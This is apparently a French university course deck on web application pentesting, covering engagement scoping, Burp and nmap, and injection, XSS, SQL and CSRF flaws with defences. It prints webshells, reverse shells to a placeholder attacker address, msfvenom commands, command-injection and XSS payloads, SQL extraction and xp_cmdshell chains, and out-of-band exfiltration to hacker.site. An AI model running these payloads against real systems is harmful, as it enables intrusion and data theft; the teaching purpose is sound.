0% ont trouvé ce document utile (0 vote)
84 vues152 pages

Cours Insa

Le document présente un cours sur la sécurité des applications, axé sur les tests de pénétration (pentests) et les vulnérabilités associées. Il inclut des informations sur le déroulement d'un pentest, les outils utilisés comme Burp Suite et Nmap, ainsi que des exemples de vulnérabilités courantes. L'auteur, Barthélémy Demeure, partage également son parcours professionnel et ses certifications dans le domaine de la cybersécurité.

Transféré par

Sissani Mouad
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PPTX, PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
84 vues152 pages

Cours Insa

Le document présente un cours sur la sécurité des applications, axé sur les tests de pénétration (pentests) et les vulnérabilités associées. Il inclut des informations sur le déroulement d'un pentest, les outils utilisés comme Burp Suite et Nmap, ainsi que des exemples de vulnérabilités courantes. L'auteur, Barthélémy Demeure, partage également son parcours professionnel et ses certifications dans le domaine de la cybersécurité.

Transféré par

Sissani Mouad
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PPTX, PDF, TXT ou lisez en ligne sur Scribd

SÉCURITÉ DES

APPLICATIONS
INSA Centre-Val-de-
Loire
2023-2024
PLAN LARGE
Introduction
Organisation des 3 jours de cours
Déroulé d’un pentest​
Vulnérabilités
Rapport
​Ressources utiles​
QUI SUIS-JE ?
3

MON PARCOURS

BARTHÉLÉMY DEMEURE
- Promo 2018 de l’INSA-CVL
- Stage de fin d’études Ministère des
Armées
- 3 ans chez Intrinsec
- Depuis, à la BCE et Airbus
QUI SUIS-JE ?
4

MON PARCOURS
CERTIFICATIONS
- OSCP (certification généraliste de
pentest)
- OSWE (expert web, boite blanche)
- OSEP (expert pentest entreprise
avancé)
- OSED (exploitation de binaires et
LABS
shellcodes)
- HackTheBox
Burp (expert Dante
web, boite noire) OSCP)
(equivalent
- HackTheBox RastaLabs (orienté Red
Team)
-
5

ET VOUS ?
- Dans quelle entreprise faites-vous
l’alternance ou stage passé ?
- Quelles activités ?

- Une idée du futur… ?

- Avez-vous déjà fait du


pentest/HTB/CTF/root-me…
6

SÉCURITÉ DES APPLICATIONS

Différents types d’applications (mobile, web, API,


client lourd…)
Constante évolution

Focus sur les applications web


Approche offensive (pentest)
• Un pentest ce n’est pas juste “trouver des vulnérabilités”
• … et encore moins “poutrer le client”
DÉROULÉ D’UN PENTEST
• Définition du périmètre
• Démonstration de l’environnement
• Préparation
• ​Réalisation
• Nettoyage
• Rapport
• ​Restitution​
DÉFINITION DU PÉRIMETRE
• Besoin du client
• Est-ce de la prévention ?
• S’est-il fait poncer ?
• Le fait-il de son propre gré, ou par contrainte ?
• Budget
• CAC40 != TPE
• 600-1000 €/JH
• Premier pentest, ou récurrent ?
• Si récurrent, a-t-il ajouté des fonctionnalités ?
• Si précédent pentest, demander rapports, ou à minima les
choses qu’il souhaite vérifier
DÉFINITION DU PÉRIMETRE
• Partie technique
• L’environnement à tester
• Site web
• Appli mobile
• Client lourd
• Hébergement
• En interne ? OK
• Chez un hébergeur tiers, ou solution SaaS ? Protocole d’accord
• Valable même pour un seul composant comme un BDD
• Cloud ? Souvent accord tacite
• Les accès
• Nombre de rôles/comptes
• Utilisateurs typiques de l’application
• Méthode d’accès ? VPN, interne, restreint, exposé sur Internet ?
10

PETIT POINT “MINDSET”


• Un maximum de théorie dans ce cours…
…mais c’est une discipline qui dépend beaucoup de la pratique !
• Le but est d’avoir ici les bases

• La sécurité offensive, c’est par essence chercher à contourner le


fonctionnement de base : au-delà des vulnérabilités connues, ne pas
s’attendre à des tutos.
• Il faut lire la documentation, comprendre le fonctionnement de la machine
• Comment contourner le fonctionnement n’est pas documenté, à vous d’être
créatif.
11

RAPPEL DES BASES


HTTP
PETIT RAPPEL DES BASES : HTTP 12
PETIT RAPPEL DES BASES : HTTP 13

Methode – Chemin – Version


HTTP

Header: valeur

Paramètres
nom=valeur
PETIT RAPPEL DES BASES : HTTP 14

Version HTTP – Status


code

Corps/body
PETIT RAPPEL DES BASES : HTTP
Status code Meaning
15

1xx Informational
100 Continue
101 Switching protocols
2xx Succesful
200 OK
201 Created
204 No Content
3xx Redirection
300 Multiple Choices
301 Moved Permanently
Found (Previously "Moved
302
Temporarily")
303 See Other
304 Not Modified
4xx Client Error
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
410 Gone
411 Length Required
418 I'm a Teapot
5xx Server Error
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
511 Network Authentication Required
PETIT RAPPEL DES BASES : HTTPS 16
17

BURPSUITE & PROXY


Un proxy HTTP (pas le seul type) permet d’intercepter, lire
et modifier les requêtes client  serveur

Plusieurs outils existent: mitmproxy (Python), zap (open-


source), BurpSuite (utilisé en entreprise)
CONFIGURER BURP
18

Methode 1 – via les parameter proxy de Firefox ou du


système
CONFIGURER BURP
19

Methode 2 – via l’extension FoxyProxy


CONFIGURER BURP
20

Methode 3 – via le navigateur intégré


BURP : INTERCEPT
21
BURP : REPEATER
22
BURP : REPEATER
23
BURP : INTRUDER
24

CLIC DROIT => SEND TO INTRUDER


BURP : INTRUDER
25
BURP : INTRUDER
26
BURP : INTRUDER
27
BURP : INTRUDER
28

Sniper : bruteforce simple Battering ram : placer le payload à plusieurs


Liste Emplacement 1 endroits
Emplacement 2 (URL)
unique (cookie)
A A A
B B B
C C C
D D D
E E E
Pitchfork : advancée en simultané dans Cluster Bomb : produit cartésien de
Liste 1 les listes
Liste 2 Liste 1 sets/listes
Liste 2
A 1 A 1
B 2 A 2
C 3 A 3
D 4 B 1
E 5 B 2
B 3
BURP : INTRUDER
29

BATTERING RAM
BURP : INTRUDER
30

CLUSTER BOMB
BURP : COMPARER
31
32

NMAP
Permet de scanner les ports d’un système ou d’un réseau
entier

Scan TCP, UDP, scripts intrusifs ou non


nmap scanme.nmap.org

PORT STATE SERVICE


22/tcp open ssh
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite

Nmap done: 1 IP address (1 host up) scanned in 19.28


seconds
33

NMAP
sudo nmap scanme.nmap.org -sU --top-ports 10

PORT STATE SERVICE


53/udp open|filtered domain
67/udp open|filtered dhcps
123/udp open ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
161/udp open|filtered snmp
445/udp open|filtered microsoft-ds
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
34

NMAP
nmap scanme.nmap.org --top-ports 1000 -T4 -sC -A

PORT STATE SERVICE VERSION


22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75
(DSA)
| 2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2
(RSA)
| 256 96:02:bb:5e:57:54:1c:4e:45:2f:56:4c:4a:24:b2:57
(ECDSA)
|_ 256 33:fa:91:0f:e0:e1:7b:1f:6d:05:a2:b0:f1:54:41:56
(ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Go ahead and ScanMe!
|_http-favicon: Nmap Project
35
CUPP 36

• Permet de générer des mots de passe à partir d’informations sur la


cible
CRUNCH 37

• Permet de générer des wordlists à partir d’alphabets/sets


KWPROCESSOR
38

• Pour les suites “humaines” et facile à taper sur un


clavier
CEWL
39

• Extrait tous les mots d’une page web


40

DIVERSES WORDLISTS
• https://github.com/danielmiessler/SecLists : « Bible » des wordlists pour les
pentesters
• Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
• Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
• Web-Shells/backdoor_list.txt
• Discovery/SNMP/common-snmp-community-strings.txt
• Discovery/Variables/awesome-environment-variable-names.txt
• Discovery/Infrastructure/All-Ipv4-ClassC-192.168.txt
• Discovery/Web-Content/CMS/Drupal.txt
• Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
• Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt
• …
WFUZZ, GOBUSTER, FFUF 41

• Aussi utiles pour des SQLi, sous-domaines, buckets S3… par exemple
WFUZZ, GOBUSTER, FFUF
42
WFUZZ, GOBUSTER, FFUF
43
WFUZZ, GOBUSTER, FFUF
44
45

SHELLS
WEBSHELLS
BIND SHELLS
REVERSE SHELLS
SHELLS - WEBSHELLS
46

1er types de Shells – via interface Web

PHP
<?php if (!empty($_POST['cmd'])){ syst..recoller..em($_POST['cmd']); } ?>

JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP
<% eval request("cmd") %>
SHELLS - WEBSHELLS
47

Certains on créé des Webshells allant de un peu à très évolués


SHELLS - WEBSHELLS
48

Certains on créé des Webshells allant de un peu à très évolués


SHELLS - WEBSHELLS
49

Certains on créé des Webshells allant de un peu à très évolués


SHELLS - WEBSHELLS
50

Mais évitez les webshells trop avancés chez les clients.

10 000 lignes de code = 10 000 occasions d’y glisser un petit backdoor.

Un simple Shell fait maison suffit, avec un contrôle d’accès (hardcoded hash d’un
paramètre complexe)
SHELLS – BIND ET REVERSE SHELLS
51

Bind shell : ouvre un port sur la machine victim


Reverse shell : la victime se connecte à l’attaquant
SHELLS – BIND ET REVERSE SHELLS
52

PERL
perl -e 'use Socket;$i="ATTACKING-IP";
$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-
IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

PowerShell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|
%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback +
'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Meterpreter
msfvenom -p php/meterpreter/reverse_tcp LHOST=eth0 LPORT=4443 -f raw -o shell.php
msfvenom -p linux/x86/shell_bind_tcp RHOST=tun0 LPORT=80 -f elf -o shell.elf
...
Kali héberge des shells
• /usr/share/webshells/asp/
• /usr/share/webshells/jsp/jsp-reverse.jsp
• /usr/share/webshells/php/php-reverse-shell.php
53

VULNERABILITÉS
LE COEUR DU MÉTIER
MANQUE DE MISE À JOUR
54

Un composant qui n’est pas à jour peut mener très rapidement à :


• Contournement de l’authentification (GLPI Account takeover (CVE-
2019-14666))
• Exécution de code : Windows (Eternal Blue, MS17-010)
• Exécution de code : plugin Wordpress (PHP Unit Library, CVE-2017-
9841)
• XSS (jQuery)
• … et bien plus !
MANQUE DE MISE À JOUR
55

Enumération => regarder sur Internet la version => existe-t-il un


exploit public ? => vérifier les conditions pour qu’il fonctionne =>
valider avec le client s’il veut tenter de l’exploiter (souci de stabilité)

Dans tous les cas, vulnérabilité présente ou pas, on rapporte.

Ce qui n’est pas à jour ici indique probablement un défaut général de


mise à jour
TLS
56

• TLS permet d’assurer l’authenticité, l’intégrité, la confidentialité des échanges


• Une mauvaise configuration peut affecter un ou plusieurs points

• Vulnérabilités fréquentes
• Faible suite de chiffrement (DES, 3DES, RSA 1024…)
• SSLv2, SSLv3, TLS 1.0, TLS 1.1
• Certificat expiré, mauvais nom de Subject, certificat auto-signé

• Outils
• testssl.sh
• sslscan
• sslyze (server-side)

Note : aussi valable pour SSH.


TLS
57

• Recommendations
• TLS 1.2, TLS 1.3
• Perfect Forward Secrecy
• https://ssl-config.mozilla.org/
58

INJECTIONS - GÉNÉRALITÉ
Imaginons une banque qui tient son livre des comptes de la manière suivante :

“Le compte A envoie au compte B, la somme de montant euros, avec comme justificatif note du
virement 1”
compteA,compteB,montant,”note du virement 1”;compteC,compteD,montant,”note du virement
2”;…….

L’utilisateur a la main sur la note du virement (appelé “user input”). Il peut par exemple donner le
justificatif suivant:

resto italien”;compteC,compteA,1000,”merci

compteA,compteB,montant,”resto italien”;compteC,compteA,1000,”merci”;compteC,compteD,montant,”note du
virement 2”;
Que va-t-il se passer ?

La ligne reste cohérente pour le système, elle va donc être exécutée à la fin de la journée !
59

INJECTIONS - GÉNÉRALITÉ
Règle applicable pour plusieurs types d’injections :
• Injections HTML/XSS
• Injections SQL
• Injections SSTI (Server-Side Template Injection)
• Injections LDAP
• …

Des protections existes, allant d’anectotique à impossible à contourner, en passant par


“trompeuse pour les développeurs”.
INJECTION DE COMMANDE 60

INTRODUCTION

L’injection de commande est plus rare, mais peut arriver un peu n’importe quand

<?php
exec(“convert image.png –resize ” . $_GET[“size”] . “ resized.png”);
return resized.png
?>

GET /imageArticle.php?size=200x100
INJECTION DE COMMANDE 61

PAYLOADS

|
||
`
whoami&id
&&
;
$(...)
%0A
cat${IFS}/etc/passwd
> /var/www/html/pentest.txt
INJECTION DE COMMANDE 62

SE PROTÉGER

Eviter de faire des appels de commande Bash/Windows


Il y a surement des équivalents natifs au langage

Utiliser un équivalent de requêtes préparées, avec séparation des arguments +


escapeshellcmd()
CROSS-SITE SCRIPTING (XSS)
63

• Malgré un nom complexe, c’est l’injection de code dans le navigateur


• Peut être :
• Stored
• Reflected
• DOM-based
STORED XSS
64

XSS « permanente », stockée dans un commentaire, un article, un pseudo, une


image…
STORED XSS
65

XSS « permanente », stockée dans un commentaire, un article, un pseudo, une


image…
REFLECTED XSS
66

XSS « générée à la volée », stockée dans un paramètre le plus souvent


REFLECTED XSS
67

XSS « générée à la volée », stockée dans un paramètre le plus souvent

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Feedback for end user

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

Devient donc :
echo '<pre>Hello foobar</pre>';

echo '<pre>Hello <script>alert(1)</script>foobar</pre>';


REFLECTED XSS
68
DOM-BASED XSS
69

XSS générée par le navigateur, et non pas par le serveur

Quand le code JavaScript va chercher dynamiquement du contenu sur notre page et


l’interpreter
DOM-BASED XSS
70

XSS générée par le navigateur, et non pas par le serveur

Quand le code JavaScript va chercher dynamiquement du contenu sur notre page et


l’interpreter
PAYLOADS XSS
71

Attaque ? Défense !
<script>alert(1)</script> Supprimer toute occurrence de
<script
<sCRipt>alert(1)</sCrIPt> Mettre tout en minuscule et
chercher script
<img src=fooo onerror=alert(1)> Bannir img, script, onerror, onload...
<div onmouseover="alert(45)">MOVE HERE</div> Utiliser des listes blanches
<style>
div {background-image:
url("data:image/jpg;base64,<\/style><svg/onload=alert(1
Empêcher le caractère “ ou ‘
)>");
background-color: #cccccc;}
</style>
<svg/onload=alert(String.fromCharCode(88,83,83))> On encode. Ce qui est < doit être
AFFICHÉ <, pas interprété
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+
[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])
[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]
+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/
... on utilise des bibliothèques
[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]
README.md
+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]
POLYGLOT XSS
72
POLYGLOT XSS
73
XSS : SE PROTÉGER
74

Utiliser des bibliothèques réputées (par exemple DOMPurify,


https://openbase.com/js/dompurify) pour encoder (et non “échapper”)

Attention à bien se renseigner sur les outils utilisés : par exemple la fonction PHP
htmlspecialchars(), par défaut, n’encode pas les simple quotes ‘ (il faut le spécifier
explicitement)
INJECTIONS SQL
75

CREATE TABLE IF NOT EXISTS `menu` (


id prix plat dessert `id` int(6) unsigned NOT NULL,
`prix` int(3) unsigned NOT NULL,
1 15 lasagne crumble `plat` varchar(200) NOT NULL,
`dessert` varchar(200) NOT NULL
2 18 ratatouille salade de ) DEFAULT CHARSET=utf8;
fruits INSERT INTO `menu`
(`id`, `prix`, `plat`, `dessert`) VALUES
3 12 endives au crêpes (1, 15, 'lasagne', 'crumble'),
(2, 18, 'ratatouille', 'salade de fruits'),
jambon
GET /viewMenu.php?menu=2 (3, 12, 'endives au jambom', 'crepes'),
(4, 17, 'filet de merlu', 'ile flottante');
SELECT * FROM menu WHERE id = 2;
CREATE TABLE IF NOT EXISTS `users` (
id prix plat dessert `id` int(6) unsigned NOT NULL,
`username` varchar(200) NOT NULL,
2 18 ratatouille salade de `password` varchar(200) NOT NULL
) DEFAULT CHARSET=utf8;
fruits
INSERT INTO `users`
GET /viewMenu.php?menu=2+or+id=3 (`id`, `username`, `password`) VALUE
(1, 'admin', '@dminP4ssw0rd'),
(2, 'garfield', 'Las@gne22');
SELECT * FROM menu WHERE id = 2 or id=3;
http://sqlfiddle.com/
id prix plat dessert
2 18 ratatouille salade de
fruits
3 12 endives au crêpes
TYPES D’INJECTIONS SQL
76

Injections SQL

Blind In-band Out-of-band

Boolean- Error-
based based

Time-based Union

Stacked

Second
order
UNION
77

id prix plat dessert


1 15 lasagne crumble
2 18 ratatouille salade de
fruits
3 12 endives au crêpes
Comment détecter une jambon
injection de type UNION ?

?menu=1 order by 1 no error


?menu=1 order by 2 no error
?menu=1 order by 3 no error
?menu=1 order by 4 no error
?menu=1 order by 5 Erreur “Unknown column ‘5’ in ‘order clause’

GET /viewMenu.php?menu=2+order+by+3

SELECT * FROM menu WHERE id = 2 order by 3;

id prix plat dessert


2 18 ratatouille salade de
fruits
UNION
78

GET /viewMenu.php?menu=2 UNION SELECT 1,2,3,4

SELECT * FROM menu WHERE id = 2 UNION SELECT 1,version(),database(),4;

id prix plat dessert


2 18 ratatouille salade de
fruits
1 5.6.48 restaurant1762 4

SELECT * FROM menu WHERE id = 2 UNION SELECT 1,2,username,password


FROM users;

id prix plat dessert


2 18 ratatouille salade de
fruits
1 2 admin @dminP4ssw0
rd
1 2 garfield Las@gne22
Rapidité : très rapide
ERROR-BASED
79

Le but est de provoquer une erreur qui va soit aider dans la construction de
l’injection, soit directement révéler le contenu.

Prenons l’injection suivante pour récupérer et convertir en entier le nom d’une


table
‘ and 1=convert(int,(select top 1 table_name from
information_schema.tables)) -- -
ERROR-BASED
80

Récupérer et convertir en entier le nom de la deuxième table de la DB


‘ and 1=convert(int,(select top 1 table_name from information_schema.tables
where table_name not in (‘Download_Dcoument’)))-- -
ERROR-BASED
81

Récupérer et convertir en entier le nom de la deuxième table de la DB


‘ and 1=convert(int,(select top 1 table_name from information_schema.tables
where table_name not in (‘Download_Dcoument’)))-- -

Et ainsi de suite
‘ and 1=convert(int,(select top 1 table_name from information_schema.tables
where table_name not in (‘Download_Dcoument’,'login_audit')))-- -
BLIND : BOOLEAN
82

Maintenant, prenons le cas d’une page qui n’affiche qu’un seul menu à la fois
Code HTTP 200 si menu affiché
Code HTTP 500 si menu non trouvé dans la base de données

SELECT * FROM menu WHERE id = ‘+$_GET["menu"]+’ LIMIT 1;

Requête Résultat
GET /viewMenu.php?menu=2 1 menu trouvé : code 200
GET /viewMenu.php?menu=2’ AND 1=‘1 1 menu trouvé : code 200
GET /viewMenu.php?menu=2’ AND 0=‘1 0 menu trouvé : code 500
GET /viewMenu.php?menu=2’ OR TRUE AND 1=‘1 1 menu trouvé (le 1) : code 200
GET /viewMenu.php?menu=2’ AND (length(database()) = 0 menu trouvé : code 500
1) AND 1=‘1
GET /viewMenu.php?menu=2’ AND (length(database()) = 1 menu trouvé : code 200
11) AND 1=‘1
SELECT * FROM menu WHERE id = ‘2’ OR (SELECT (CASE 1 menu trouvé (le 2 car le CASE est
WHEN substr('abc’,3,1)=‘b' THEN TRUE ELSE FALSE faux)
END)) LIMIT 1;
SELECT * FROM menu WHERE id = ‘2’ OR (SELECT 1 menu trouvé (le 1 car la 2e lettre
BLIND : BOOLEAN
83

Plein de méthodes de booléan :


• IF ... THEN
• CASE ... WHEN

Mais aussi :
• Récupérer le résultat du test sur une deuxième page (création d’une entrée, modification
d’une valeur dans un UPDATE... WHERE ...)

Rapidité : moyenne
Selon les conditions (si le résultat est direct), il est possible de paralléliser
l’extraction
Ce n’est pas possible si le résultat est à récupérer sur son profil utilisateur par
exemple
BLIND : TIME-BASED
84

Prenons le cas d’une page qui n’affiche rien (changement d’ID d’un utilisateur), et qui retourne
200 dans tous les cas

UPDATE users SET id = 0 WHERE id = '$_GET[“uid”]';

Vérifier la présence de la vulnérabilité :


UPDATE users SET id = 0 WHERE id ='1' + sleep(0.5); -- -’;

Extraire des données :


SELECT * FROM menu WHERE id = '1' + IF(MID(VERSION(),1,1) = '5', sleep(0.5), 0);
-- -;

Il reste plus qu’à scripter tout ça :

pour chaque nombre X de 1 à 20:


si longueur de mot de passe d’utilisateur U est égal à X:
longueur = X
pour position P allant de 1 à longueur:
pour chaque caractère imprimable C:
si lettre en position P = C:
afficher C
Rapidité : (très) lent
Difficilement parallélisable, car le sleep peut être commun à toute la base de données
Mais marche dans presque toutes les situations
STACKED QUERIES
85

Comme les blind SQL, cette injection est utile quand le résultat n’est pas retourné à l’application,
et même quand le résultat n’impacte pas l’application.

La deuxième query peut-être DNS (out-of-band), time-based, ou totalement aveugle.

Imaginons un filtre insensible à la casse sur “ ‘ – OR AND UNION /*

SELECT * FROM menu WHERE id=1;SELECT IF(ASCII(MID(VERSION(),1,1)) = 53,


sleep(0.5), 0);

Sur MSSQL :
1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15’

Rapidité : de lent à moyen


Ne marche que sur MySQL, MSSQL et PostGreSQL (pas sur Oracle)
SECOND ORDER
86

Attaque plus complexe, nécessite bien souvent l’utilisation d’un résultat non-récupérable
directement, et qui sera utilisé dans une deuxième requête SQL :

La première requête est correctement encodée et échappée, impossible d’y mettre une injection
SQL
Par exemple, on sauvegarde dans notre préférence utilisateur, le prix maximum :
UPDATE `users` SET prefixDessert = 'c' WHERE id=1;

Deuxième requête, supposée de confiance vu qu’elle a été “sécurisée” en amont :


SELECT * FROM menu WHERE dessert LIKE concat(
(SELECT prefixDessert FROM users WHERE
id=1), ‘%’
);
+----+------+-------------------+---------+
| id | prix | plat | dessert |
+----+------+-------------------+---------+
| 1 | 15 | lasagne | crumble |
| 3 | 12 | endives au jambon | crepes |
+----+------+-------------------+---------+

Peut se retrouver dans un JOIN, un ORDER BY, un CONCAT...


OUT-OF-BAND
87

L’idée ici est de contacter un serveur externe pour récupérer la donnée :

Notre Kali héberge un serveur SMB


select load_file(concat('\\\\IP_KALI\\',version(),’.txt'));

XXE + SQLi
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!
DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users
WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual--
-

Rapidité : rapide
Nécessite que le serveur SQL ait accès à notre machine (réseau interne ou Internet)
=> dépend du pare-feu
Peut être désactivé dans les paramètres pour interdire le chargement de fichiers
88

NE PEUT-ON LIRE QUE LA DB ?

Plein de choses sont possibles :


• identifier la version pour l’exploiter plus tard
• lire et écrire des fichiers

and 1=2 union all select ‘foobar’ into outfile ‘/tmp/pentest’

and 1=2 union all select load_file(‘/tmp/pentest’)


• RCE (ici MSSQL, mais des équivalents sous Oracle et PostGreSQL)

sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure


'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell ‘powershell –enc
ABCDEF...foobar’
• UNC Path injection + relay NTLM (attaque sur identifiants Windows)
• Rebond sur un “linked server” pouvant être dans un autre domaine AD
89

POLYGLOT SQL

SLEEP(1) /*’ or SLEEP(1) or’” or SLEEP(1) or “*/


SQLMAP 90

Permet d’automatiser la découverte et l’exploitation des injections SQL :


SQLMAP 91

Permet d’automatiser la découverte et l’exploitation des injections SQL :


SQLMAP 92

Permet d’automatiser la découverte et l’exploitation des injections SQL :


SQL : SE PROTÉGER 93

• Soit utiliser des bibliothèques de “sanitazation”


• Mieux : utiliser les “prepared statements”

<?php
$conn = new mysqli($servername, $username, $password, $dbname); // Establish connection

if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // Verify


connection

// Preparation of prepared statements


$stmt = $conn->prepare("INSERT INTO MyCustomers (FirstName, LastName, Email) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $firstname, $lastname, $email);

// Setting the parameters and execution


$FirstName = "John"; $LastName = "Smith"; $Email = "[email protected]";
$stmt->execute();

$FirstName = "Jane"; $LastName = "Smith"; $Email = "[email protected]";


$stmt->execute();
$stmt->close(); $conn->close();
94
CROSS-ORIGIN ATTACKS
CROSS-SITE REQUEST FORGERY (CSRF)

Forger une requête HTTP (le plus souvent un


<form>) afin d’effectuer une action sur un autre site
victime

POST /vulnerabilities/csrf/ HTTP/1.1


Host: 127.0.0.1:8000
Referer: http://127.0.0.1:8000/vulnerabilities/csrf/
Cookie: PHPSESSID=2dn9ulvbvoj4igeeeuj5uor9i3; security=low
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

password_new=password1&password_conf=password1&Change=Change
95
CROSS-ORIGIN ATTACKS
CROSS-SITE REQUEST FORGERY (CSRF)

Créer un formulaire HTTP qui a pour cible, le site


victime :
<html>
<body>
<form action="https://127.0.0.1:8000/vulnerabilities/csrf/"
method="POST">
<input type="hidden" name="password&#95;new" value="password1" />
<input type="hidden" name="password&#95;conf" value="password1" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
96
CROSS-ORIGIN ATTACKS
PROTECTION : JETON ANTI-CSRF

Rajouter un paramètre unique et imprédictible, validé par le


serveur

Défauts courants :
• Accepter la requête si le jeton/token est absent
• Interchanger la méthode GET/POST
• Ne pas lier le jeton à la session (possibilité de réutiliser son
jeton)
• Utiliser une validation par couple jeton+cookie, et avoir une
injection de cookie quelque part
97
CROSS-ORIGIN ATTACKS
PROTECTION CSRF : SAMESITE SUR LE COOKIE

3 paramètres pour les cookies de session:


• Secure : empêche d’être transmis par HTTP, seulement HTTPS
• HttpOnly : empêche le JavaScript de récupérer le cookie, seul le
navigateur peut le transmettre
• Certaines architectures web reposent sur JS et ne peuvent pas configurer
de cette façon
• SameSite : permet de définir si le cookie est envoyé depuis un
autre site
• None : non configuré, le cookie est toujours transmis
• Lax : le cookie est transmis pour GET, mais pas POST (par défaut)
• Strict : le cookie n’est jamais transmis si la requête est faite depuis un
autre site

Réponse HTTP :
Set-Cookie: flavor=choco; SameSite=Lax; Secure
98
CROSS-ORIGIN ATTACKS
CROSS-ORIGIN RESOURCE SHARING

« Same-Origin policy restreint la manière dont un document/script


chargé depuis une origine peut interagir avec une autre ressource
chargée depuis une autre origine. »

Une origine est considérée identique pour un même protocole,


port
URL
et hôte: Résultat Motif

http://store.company.com/dir2/other.html Succès

http://store.company.com/dir/inner/
Succès
another.html
Protocoles
https://store.company.com/secure.html Échec
différents

http://store.company.com:81/dir/etc.html Échec Ports différents

